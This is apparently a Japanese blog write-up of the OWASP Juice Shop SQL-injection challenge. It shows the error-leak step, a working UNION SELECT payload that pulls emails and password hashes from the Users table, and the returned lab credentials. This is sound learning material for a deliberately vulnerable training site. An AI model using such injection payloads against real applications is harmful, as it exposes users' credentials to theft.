セキュリティ系の勉強・その他開発メモとか雑談. Twitter, ブログカテゴリ一覧
本ブログはあくまでセキュリティに関する情報共有の一環として作成したものであり,公開されているシステム等に許可なく実行するなど、違法な行為を助長するものではありません.

【UNION SELECT】Juice ShopのSQLインジェクションの備忘録

//

www.owasp.org

OWASPが提供してくれているやられサイト。
今までUNION SELECTSQLインジェクションがよく分かっていなかったので、問題を解いたついでに備忘録。

Retrieve a list of all user credentials via SQL Injection

bkimminich.gitbooks.io この問題は、クエリを細工して通常、商品の条件検索する場所で、ユーザの登録情報をSQLiによって読み取ろうという問題。問題の解説自体は本家のページにあるので、そちらで。ここでは、忘れないようにやった手順を書いておこうと思います。

大したことは書きませんが、誰かの役にたてば幸いです。

解くまえに

別の問題のインジェクションの結果から、ユーザの情報はUsersテーブルで管理され、emailpasswordカラムがあることが分かっています。(ログインページのエラー等から発行されているSQL文が覗け、そこから判明可能)

通常のリクエス

/rest/products/search?q=
このリクエストには、条件が指定されていないので全ての商品情報が返ってきます。json形式ですが

# response
{
    "status": "success",
    "data": [
        {
            "id": 1,
            "name": "Apple Juice (1000ml)",
            "description": "The all-time classic.",
            "price": 1.99,
            "image": "apple_juice.jpg",
            "createdAt": "2019-08-08 11:15:22.310 +00:00",
            "updatedAt": "2019-08-08 11:15:22.310 +00:00",
            "deletedAt": null
        },
        {
            "id": 24,
            "name": "Apple Pomace", 
....


エラーを起こす

ありがたいことに、エラーを起こすとそのSQL文が返ってきます。
/rest/products/search?q=shop'

{
  "error": {
    "message": "SQLITE_ERROR: near \"'%'\": syntax error",
    "stack": "SequelizeDatabaseError: SQLITE_ERROR: near \"'%'\": syntax error\n    at Query.formatError (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:419:16)\n    at Query._handleQueryResponse (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:73:18)\n    at afterExecute (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:247:31)\n    at replacement (/app/node_modules/sqlite3/lib/trace.js:19:31)\n    at Statement.errBack (/app/node_modules/sqlite3/lib/sqlite3.js:16:21)",
    "name": "SequelizeDatabaseError",
    "parent": {
      "errno": 1,
      "code": "SQLITE_ERROR",
      "sql": "SELECT * FROM Products WHERE ((name LIKE '%shop'%' OR description LIKE '%shop'%') AND deletedAt IS NULL) ORDER BY name"
    },


))でwhereを終えて、union selectでUsersテーブルから情報をとった後、残りはコメントアウトすれば良さそうです。

union select

よく分かっていなかったのが、union selectを書くときのカラムの数を同じにする という話。
蓋を開けてみると簡単なことで、union selectの左の結果で得られるカラムの数と同じにするということだそうです。今回であれば、左側の文ではProductsテーブルの全てのカラムをとってくるので、id,name,description,price,image,createdAt,updatedAt,deletedAt8がカラム数です。

よって、
/rest/products/search?q=shop')) UNION SELECT email,password,2,3,4,5,6,7 FROM Users--
とすればカラム数が8個の指定になります。(数字の振り方が変なのは意味なし)ここは、発行されているsql文が不明な時に、よく1つずつ増やしながら試している部分です。だからよく分かっていなかったかも...?

レスポンスの一部はこんな感じで返ってきます。

 {
            "id": "J12934@juice-sh.op",
            "name": "3c2abc04e4a6ea8f1327d0aae3714b7d",
            "description": 2,
            "price": 3,
            "image": 4,
            "createdAt": 5,
            "updatedAt": 6,
            "deletedAt": 7
        },
        {
            "id": "admin@juice-sh.op",
            "name": "0192023a7bbd73250516f069df18b500",
            "description": 2,
            "price": 3,
            "image": 4,
            "createdAt": 5,
            "updatedAt": 6,
            "deletedAt": 7
        },
        {
            "id": "amy@juice-sh.op",
            "name": "030f05e45e30710c3ad3c32f00de0473",
            "description": 2,


UNION SELECTの右側で指定したUsersテーブルのカラムの値を、左側で取得したカラムに紐付ける?挿げ替える?ために、同じ数にする必要があったようです。(初心者)

模範回答

回答はこんな感じです。 bkimminich.gitbooks.io